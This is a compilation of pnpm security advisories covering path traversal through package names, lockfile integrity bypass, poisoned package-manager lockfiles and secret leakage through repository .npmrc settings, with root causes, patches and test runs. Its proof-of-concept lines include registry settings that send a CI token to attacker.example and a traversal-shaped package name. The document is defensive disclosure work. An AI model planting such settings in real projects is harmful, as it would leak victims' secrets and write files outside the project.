Summary When resolving a package, pnpm uses the resolved manifest name as a raw path segment for the isolated-linker import target. A tarball dependency whose package.json name is a scoped path traversal (@x/../../…/<abs path>) is therefore extracted outside nodemodules, to an attacker-chosen absolute path, and can overwrite existing files there. Attacker controls the destination, filenames, and contents → arbitrary file write → code execution (e.g. ~/.zshrc, .git/hooks/pre-commit, another package's code). Occurs during pnpm install even with --ignore-scripts (no lifecycle scripts run), defeating that safety.
Same class as the just-patched GHSA-hwx4 (transitive-dependency alias traversal) and GHSA-v23m (stage download manifest name/version traversal), in a sink their fixes did not cover: the isolated-linker import target keyed by the resolved name.
Root cause - The isolated-linker import target is built with a raw path.join(modules, <resolved name>) in installing/deps-resolver/src/resolvePeers.ts:706, installing/deps-resolver/src/index.ts:614, and deps/graph-builder/src/lockfileToDepGraph.ts:233 — without the safeJoinModulesDir guard used on the symlink/hoisted/bin paths (installing/deps-restorer/src/lockfileToHoistedDepGraph.ts:222). The store location is nodemodules/.pnpm/<id>/nodemodules/<name>, so a traversal <name> escapes. - The only resolve-time name gate (resolving/npm-resolver/src/pickPackage.ts:753) rejects only unscoped names containing /, so a scoped @x/../.. passes.
Steps to reproduce Self-contained PoC (real pnpm@11.9.0; loopback tarball server; escape target is a throwaway temp dir): npm i pnpm@11.9.0 host a tarball whose package.json name = "@x/"+"../".repeat(25)+"<abs>/OUTSIDE"; victim depends on the http URL pnpm install --ignore-scripts Confirmed output (repro/poc.mjs, exit 0): escape dir is outside the project : true new file implanted outside nodemodules : true pre-existing file OVERWRITTEN : true CONFIRMED: a tarball dependency wrote & overwrote files OUTSIDE the project during pnpm install --ignore-scripts
Remediation Route the isolated-linker import-target joins (resolvePeers.ts:706, deps-resolver/index.ts:614, lockfileToDepGraph.ts:233) through safeJoinModulesDir (as the hoisted linker already does), and/or enforce validate-npm-package-name on the resolved manifest name (close the scoped-name gap at pickPackage.ts:753) so the import target rejects a traversal name and re-asserts containment before any write.
pnpm is a package manager. Prior to 10.34.4 and 11.8.0, pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under nodemodules/.pnpm-config. A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name. This vulnerability is fixed in 10.34.4 and 11.8.0.
<!-- maintainer-action:start --> Maintainer Action Plan
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
- Advisory: CAND-PNPM-122 / GHSA-3qhv-2rgh-x77r - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: security/ghsa-batch-2026-06-09 - Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22 - Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec - Maintainer priority: start-here - Component: pnpm config/env replacement and registry auth - Patch area: project .npmrc env placeholders are not expanded into registry/auth destinations - Affected packages: npm:pnpm, npm:@pnpm/config.reader, rust:pacquet - CWE IDs: CWE-201, CWE-200, CWE-522 - Conservative CVSS: 6.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.
Expected Patched Behavior
Project .npmrc environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header.
Files And Tests To Review
- config/reader/src/loadNpmrcFiles.ts - config/reader/src/getOptionsFromRootManifest.ts - config/reader/test/index.ts - config/reader/test/getOptionsFromRootManifest.test.ts - pacquet/crates/config/src/npmrcauth.rs - pacquet/crates/config/src/npmrcauth/tests.rs - pacquet/crates/config/src/workspaceyaml.rs - pacquet/crates/config/src/workspaceyaml/tests.rs - .changeset/sharp-registry-env-placeholders.md
Focused Validation
Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
bash ./nodemodules/.bin/tsgo --build config/reader/tsconfig.json NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .undefined. fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./nodemodules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinscopedregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinurlscopedkeys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinauthvalues --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trustediniexpandsenvplaceholdersinregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignoresenvvarsinsideworkspaceregistryvalues --lib git diff --check cargo fmt --check
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-122-patched-result.json. <!-- maintainer-action:end -->
CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run
Advisory Details
Summary
pnpm and pacquet expanded ${ENVVAR} placeholders from repository-controlled .npmrc and pnpm-workspace.yaml into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run.
Details
The vulnerable TypeScript pnpm path was:
- config/reader/src/loadNpmrcFiles.ts loaded project .npmrc and substituted environment placeholders in keys and values. - config/reader/src/getOptionsFromRootManifest.ts substituted environment placeholders inside workspace registry, registries, and namedRegistries settings. - config/reader/src/index.ts merged those expanded registry/auth values into pnpmConfig.registries, pnpmConfig.authConfig, and pnpmConfig.configByUri. - resolving/npm-resolver/src/fetch.ts built metadata request URLs from the selected registry. - network/fetch/src/fetchFromRegistry.ts dispatched the request and attached matching auth headers before install lifecycle scripts could run.
The pacquet parity path was:
- pacquet/crates/config/src/npmrcauth.rs expanded project .npmrc placeholders while parsing registry URLs and auth values. - pacquet/crates/config/src/workspaceyaml.rs expanded workspace registry placeholders. - pacquet/crates/resolving-npm-resolver/src/fetchfullmetadata.rs used the configured registry URL and AuthHeaders for metadata fetches.
PoC
Repository .npmrc URL-path exfiltration:
ini registry=https://attacker.example/${CIJOBTOKEN}/
Repository .npmrc auth-header exfiltration:
ini registry=https://attacker.example/ //attacker.example/:authToken=${CIJOBTOKEN}
Repository pnpm-workspace.yaml URL-path exfiltration:
yaml registries: default: https://attacker.example/${CIJOBTOKEN}/ namedRegistries: work: https://attacker.example/${CIJOBTOKEN}/npm/
Exploit method:
1. The victim checks out the repository and runs a pnpm or pacquet dependency-management command with CIJOBTOKEN or another sensitive environment variable present. 2. Before the patch, repository config expanded the placeholder to the victim secret. 3. The resolver used the expanded registry or matching auth entry to construct a metadata request. 4. The victim sent a request such as https://attacker.example/<secret>/<package> or Authorization: Bearer <secret> to the attacker-controlled endpoint.
Validation PoC:
The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values.
Impact
A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names.
Affected Products
Ecosystem: npm
Package name: pnpm, @pnpm/config.reader; pacquet Rust port
Affected versions: current main before this patch, when project .npmrc or pnpm-workspace.yaml contains environment placeholders in registry request destinations or project .npmrc contains environment placeholders in registry credential values.
Patched versions: pending release containing this patch.
Severity
Severity before patch: High
Vector string before patch: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Score before patch: 7.4
Severity after patch: None
Vector string after patch: not vulnerable after patch
Score after patch: 0.0
Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands.
Weaknesses
CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
CWE-522: Insufficiently Protected Credentials
Patch
The patch makes environment expansion trust-aware for registry requests:
- Project .npmrc no longer expands ${...} in registry, @scope:registry, proxy URL values, URL-scoped keys such as //host/${SECRET}/:authToken, or registry credential values such as //host/:authToken=${SECRET} and authToken=${SECRET}. - User .npmrc, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration. - pnpm-workspace.yaml no longer expands ${...} in registry, registries, or namedRegistries URL values. - Trusted user-level auth values such as //registry.npmjs.org/:authToken=${NODEAUTHTOKEN} still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the .npmrc is supplied as user config. - Pacquet mirrors the same boundary with fromprojectini() for project .npmrc and workspace registry filtering.
Changed files:
- config/reader/src/loadNpmrcFiles.ts - config/reader/src/getOptionsFromRootManifest.ts - config/reader/test/index.ts - config/reader/test/getOptionsFromRootManifest.test.ts - pacquet/crates/config/src/npmrcauth.rs - pacquet/crates/config/src/npmrcauth/tests.rs - pacquet/crates/config/src/workspaceyaml.rs - pacquet/crates/config/src/workspaceyaml/tests.rs
Changeset:
- .changeset/sharp-registry-env-placeholders.md
Pacquet parity:
Ported in the same patch. Pacquet dependency-management commands now parse project .npmrc with request-destination and credential-value env expansion disabled, and drop workspace registry values containing ${...} placeholders.
Verification
Post-patch validation:
The PoC ran:
bash ./nodemodules/.bin/tsgo --build config/reader/tsconfig.json NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .undefined. fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./nodemodules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinscopedregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinurlscopedkeys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinauthvalues --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trustediniexpandsenvplaceholdersinregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignoresenvvarsinsideworkspaceregistryvalues --lib git diff --check
Results:
- PoC pre-patch model showed cand122-ci-job-token in both a request URL and a bearer auth header. - TypeScript build for config.reader: passed. - Focused root-manifest tests: 8 passed, including workspace registry and named-registry placeholder denial. - Focused config-reader integration tests: 10 passed, covering project .npmrc default registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user .npmrc registry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial. - cargo fmt --check: passed. - Focused pacquet tests: 6 passed, covering project .npmrc registry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted .npmrc registry expansion, and workspace YAML denial. - git diff --check: passed.
CVSS Reassessment
The initial scan score used a repository-code-execution vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (8.8 High)
The PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Corrected vulnerable score: 7.4 High.
Final score after patch: 0.0.
pnpm is a package manager. Prior to 10.34.0 and 11.4.0, pnpm install in non-frozen mode can accept new remote package content after detecting that the downloaded tarball does not match the integrity recorded in pnpm-lock.yaml. When a package is already locked with an integrity value, and the registry later serves different metadata and tarball content for the same package name and version, pnpm initially reports an integrity mismatch. However, plain pnpm install then performs a resolution repair, accepts the registry's new integrity, updates the lockfile, installs the new content, and exits successfully. This means the lockfile integrity check does not act as a hard stop by default. This vulnerability is fixed in 10.34.0 and 11.4.0.
Summary
pnpm's tarball extraction worker skips integrity verification when the integrity field is absent from the lockfile resolution. If an attacker can both modify pnpm-lock.yaml to remove the integrity: field and cause the referenced registry URL to serve altered package content, pnpm install --frozen-lockfile can install the altered package without an integrity error. npm's npm ci enforces integrity by default; pnpm's behavior of silently skipping verification is a pnpm-specific fail-open gap.
Vulnerability Details
The addTarballToStore function in worker/src/start.ts (lines 189-204) checks if (integrity) before verifying the tarball hash. The TarballResolution type declares integrity as optional (integrity?: string). When the lockfile omits the integrity field, the guard evaluates to false, skipping hash verification entirely. The worker then computes a new hash from the unverified content and stores it as legitimate.
typescript // worker/src/start.ts:189-204 function addTarballToStore ({ buffer, storeDir, integrity, ... }: TarballExtractMessage) { if (integrity) { // false when integrity is undefined const { algorithm, hexDigest } = parseIntegrity(integrity) const calculatedHash = crypto.hash(algorithm, buffer, 'hex') if (calculatedHash !== hexDigest) { return { status: 'error', error: { type: 'integrityvalidationfailed', ... } } } } return { status: 'success', value: { integrity: integrity ?? calcIntegrity(buffer) }, } }
Proof of Concept
bash bash autofynaudit/exploits/vuln1integritybypass/exploit.sh Publishes a package, generates lockfile, republishes tampered version, strips integrity field, re-runs install --frozen-lockfile. Result: PASS -- tampered package installed without integrity error.
Impact
Supply chain compromise in environments where an attacker can both alter the lockfile and cause the referenced registry URL to serve altered package content. The --frozen-lockfile flag does not fail closed when the integrity field is missing.
Suggested Remediation
Require an integrity field for remote tarball resolutions. Change the if (integrity) guard to fail when integrity is absent for non-local packages. When --frozen-lockfile is active, reject lockfile entries that lack integrity for remote packages.
---
Discovered by AutoFyn Full audit report: auditreport.md Exploit script: exploit.sh
Summary
The staged-tarball filename traversal reported as GHSA-v23m-ccfg-pq9h / CAND-PNPM-038 is fixed on main by pnpm/pnpm#12303, merged as 65443f4bdf1f0db9c8c7dc58fee25252607e9234.
Before the fix, pnpm stage download derived a local filename from registry-controlled package name and version fields. A crafted manifest could escape the selected download directory and overwrite another reachable file. The merged fix validates both fields, derives one safe filename, and verifies the final destination before writing.
Security boundary
- Package names and semantic versions are validated before they can influence a local filename. - POSIX and Windows path separators are rejected by basename checks. - Stage download and tarball summary paths use the same filename helper. - The resolved output path must remain an immediate child of the selected download directory. - The stage identifier is already constrained to a UUID.
Exploit replay
Before 65443f4bdf, a traversal-bearing manifest version could make the command write outside the selected directory. After the fix, malicious package names fail with ERRPNPMINVALIDPACKAGENAME, malicious versions fail with ERRPNPMINVALIDPACKAGEVERSION, no outside file is created, and the download directory remains empty.
Files changed
- releasing/commands/src/tarball/safeTarballFilename.ts validates manifest identity and rejects cross-platform path separators. - releasing/commands/src/stage/download.ts verifies the resolved destination before writing. - releasing/commands/src/tarball/summarizeTarball.ts uses the same filename contract. - releasing/commands/test/stage.test.ts covers traversal through both package name and version. - .changeset/stale-stage-tarballs.md includes patch bumps for @pnpm/releasing.commands and pnpm.
Patch
- Merged PR: https://github.com/pnpm/pnpm/pull/12303 - Fix commit: 65443f4bdf1f0db9c8c7dc58fee25252607e9234 - The private candidate branch was not submitted because it conflicts with and is superseded by the merged fix. The upstream patch is slightly stronger because it covers malicious package names as well as versions.
Commands run
text $ git diff --check 65443f4bdf^ 65443f4bdf PASS $ gh pr view 12303 --repo pnpm/pnpm --json state,mergeCommit,statusCheckRollup MERGED as 65443f4bdf
Validation
- Upstream regression coverage rejects traversal through both manifest name and version and verifies that no outside file is created. - Compile and lint, dependency audit, Linux Node.js 22/24/26, CodeQL, and zizmor checks passed on the merged public PR. - The Windows Node.js 22 full-suite job timed out in the unrelated pnpm/test/dlx.ts cache test after 512 other tests passed. The PR was merged by the maintainer; the failure did not involve the staging code. - The earlier private candidate's focused exploit regression, positive control, package compile, ESLint, and git diff --check also passed.
Compatibility
Staging and release commands are TypeScript-only. Pacquet does not expose this command family, so no Rust-side port is required.
Remaining risk
The final fs.writeFile follows a pre-existing symlink at the exact in-directory output name. That requires separate local filesystem access and is not controllable through the registry manifest traversal described here.
--- Written by an agent (Codex, GPT-5).
<!-- maintainer-action:start --> Maintainer Action Plan
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
- Advisory: CAND-PNPM-063 / GHSA-w466-c33r-3gjp - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: security/ghsa-batch-2026-06-09 - Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22 - Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec - Maintainer priority: start-here - Component: pnpm packageManager env lockfile - Patch area: package-manager env lockfile is re-resolved through trusted registries before execution - Affected packages: npm:pnpm, npm:@pnpm/installing.env-installer - CWE IDs: CWE-829, CWE-494, CWE-345 - Conservative CVSS: 8.8 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.
Expected Patched Behavior
Committed env-lockfile package-manager entries are force-refreshed through trusted registries before execution; attacker tarball requests and markers stay at zero.
Files And Tests To Review
- installing/env-installer/src/resolvePackageManagerIntegrities.ts - pnpm/src/switchCliVersion.ts - pnpm/src/switchCliVersion.test.ts - .changeset/clean-package-manager-registries.md
Focused Validation
Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
bash ./nodemodules/.bin/tsgo --build installing/env-installer/tsconfig.json ./nodemodules/.bin/tsgo --build pnpm/tsconfig.json PNPMREGISTRYMOCKPORT=7799 NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../nodemodules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand PNPMREGISTRYMOCKPORT=7799 NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../nodemodules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand ./nodemodules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts git diff --check
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-063-patched-result.json. <!-- maintainer-action:end -->
Summary
pnpm can persist package-manager bootstrap metadata in the first YAML document of pnpm-lock.yaml. Before the patch, direct pnpm execution trusted an already resolved packageManagerDependencies entry when the committed env lockfile contained matching pnpm and @pnpm/exe versions. A malicious repository could therefore commit package-manager lockfile package records and snapshots that bypassed fresh package-manager resolution, then cause pnpm to install and execute bytes selected by that committed lockfile state during automatic version switching.
Details
The vulnerable source-to-sink path was:
- lockfile/fs/src/envLockfile.ts reads the repository's first YAML lockfile document and validates shape only. - pnpm/src/main.ts reaches switchCliVersion() when a direct pnpm invocation sees a wanted pnpm package manager with onFail=download. - pnpm/src/switchCliVersion.ts reads the committed env lockfile when package-manager metadata should be persisted. - installing/env-installer/src/resolvePackageManagerIntegrities.ts treated packageManagerDependencies as resolved when only the pnpm and @pnpm/exe versions matched. - engine/pm/commands/src/self-updater/installPnpm.ts converts env-lockfile snapshots and packages into the wanted lockfile used by headlessInstall(). - pnpm/src/switchCliVersion.ts executes the installed pnpm binary with spawn.sync().
The helper fast path is intentionally still version-based for non-execution callers, so the security boundary is enforced at the execution path: switchCliVersion() now re-resolves already present package-manager env-lockfile entries before they can reach installPnpmToStore() and spawn.sync().
PoC
Standalone PoC and verification script:
The PoC constructs a committed env-lockfile object with matching package-manager dependency versions and attacker-selected package metadata:
json { "importers": { ".": { "configDependencies": {}, "packageManagerDependencies": { "@pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" }, "pnpm": { "specifier": "9.3.0", "version": "9.3.0" } } } }, "lockfileVersion": "9.0", "packages": { "/pnpm@9.3.0": { "resolution": { "integrity": "sha512-poisoned" } } }, "snapshots": { "/pnpm@9.3.0": {} } }
Pre-patch exploit model:
1. The victim runs pnpm directly in a malicious repository. 2. The requested package-manager version differs from the currently running pnpm. 3. pnpm enters switchCliVersion() and reads the committed env lockfile. 4. Matching pnpm / @pnpm/exe versions short-circuit package-manager resolution. 5. pnpm installs from the committed env-lockfile package records and executes the resulting pnpm binary.
Observed primitive proof from the PoC:
json { "primitive": "unforced resolver reuses already-resolved env lockfile metadata", "isResolvedByVersionOnly": true, "reusedPoisonedIntegrity": true }
The same script then runs the patched switchCliVersion regression. The regression seeds a poisoned committed env lockfile, has the resolver return a trusted replacement lockfile, and asserts installPnpmToStore() receives the trusted lockfile rather than the committed one. This would fail on the vulnerable control flow because the resolver was not called and the committed lockfile reached the installer.
Focused validation commands:
bash ./nodemodules/.bin/tsgo --build installing/env-installer/tsconfig.json ./nodemodules/.bin/tsgo --build pnpm/tsconfig.json PNPMREGISTRYMOCKPORT=7799 NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../nodemodules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand PNPMREGISTRYMOCKPORT=7799 NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../nodemodules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand ./nodemodules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts git diff --check
Validation result:
- The PoC confirmed the unforced resolver still reuses a version-matching env lockfile, proving the original primitive. - Patched switchCliVersion() calls resolvePackageManagerIntegrities() with force: true when committed env-lockfile package-manager entries already satisfy the requested version. - Patched switchCliVersion() assigns the resolver return value back to envLockfile. - The installer receives the refreshed lockfile and not the poisoned committed lockfile. - TypeScript builds passed for @pnpm/installing.env-installer and pnpm. - The focused Jest regression passed: 1 passed, 1 skipped in switchCliVersion.test.ts. - ESLint passed for the affected package-manager switch files. - git diff --check passed.
Impact
A malicious repository can cause arbitrary package-manager code execution in the victim's developer or CI environment before normal command handling continues. That code executes with the victim user's privileges and can read local secrets, alter project files, mutate dependency state, or run further commands.
Affected products
Ecosystem: npm
Package name: pnpm, @pnpm/installing.env-installer
Affected versions: current main before this patch; direct pnpm execution with package-manager auto-switching and a repository-controlled env lockfile.
Patched versions: pending release containing this patch.
Severity
Severity: High
Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base score: 8.8
Rationale: the malicious source is repository-controlled package-manager lockfile state delivered through normal supply-chain channels. Exploitation is low complexity once the victim runs pnpm directly, no attacker privileges are required, and user interaction is required. Successful exploitation executes attacker-selected package-manager code in the victim user's security context, with high confidentiality, integrity, and availability impact.
Weaknesses
CWE-829: Inclusion of Functionality from Untrusted Control Sphere
CWE-494: Download of Code Without Integrity Check
CWE-345: Insufficient Verification of Data Authenticity
Patch
The patch makes automatic package-manager switching re-resolve repository-provided bootstrap metadata before install and execution:
- resolvePackageManagerIntegrities() accepts force, which bypasses the version-only fast path. - switchCliVersion() creates a store controller even when the committed env lockfile already contains satisfying package-manager dependency versions. - switchCliVersion() calls resolvePackageManagerIntegrities() with force: true for already resolved package-manager entries. - switchCliVersion() assigns the returned env lockfile back to envLockfile, so installPnpmToStore() installs from freshly resolved metadata. - The package-manager bootstrap registry hardening from CAND-PNPM-061 is reused, so the refresh happens through trusted package-manager registries rather than repository workspace registries.
Changed files:
- installing/env-installer/src/resolvePackageManagerIntegrities.ts - pnpm/src/switchCliVersion.ts - pnpm/src/switchCliVersion.test.ts
Changeset:
- .changeset/clean-package-manager-registries.md
Pacquet parity:
No pacquet-side patch is required for this finding because pacquet does not implement pnpm's package-manager auto-switch path or installPnpmToStore().
CVSS Reassessment
Initial CVSS remains correct for vulnerable versions: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H / 8.8 High.
Final CVSS after patch: not vulnerable after patch / 0.0. The PoC still demonstrates the underlying unforced env-lockfile reuse primitive, but the patched execution path force-refreshes package-manager metadata through trusted bootstrap registries before install or execution.
Remaining Risk
The helper resolvePackageManagerIntegrities() still has an unforced fast path that treats matching pnpm and @pnpm/exe versions as resolved. Current execution-sensitive callers either use trusted roots/registries or pass through the patched switchCliVersion() boundary, but future execution paths should use force: true before installing or executing package-manager bytes from repository-provided env-lockfile metadata.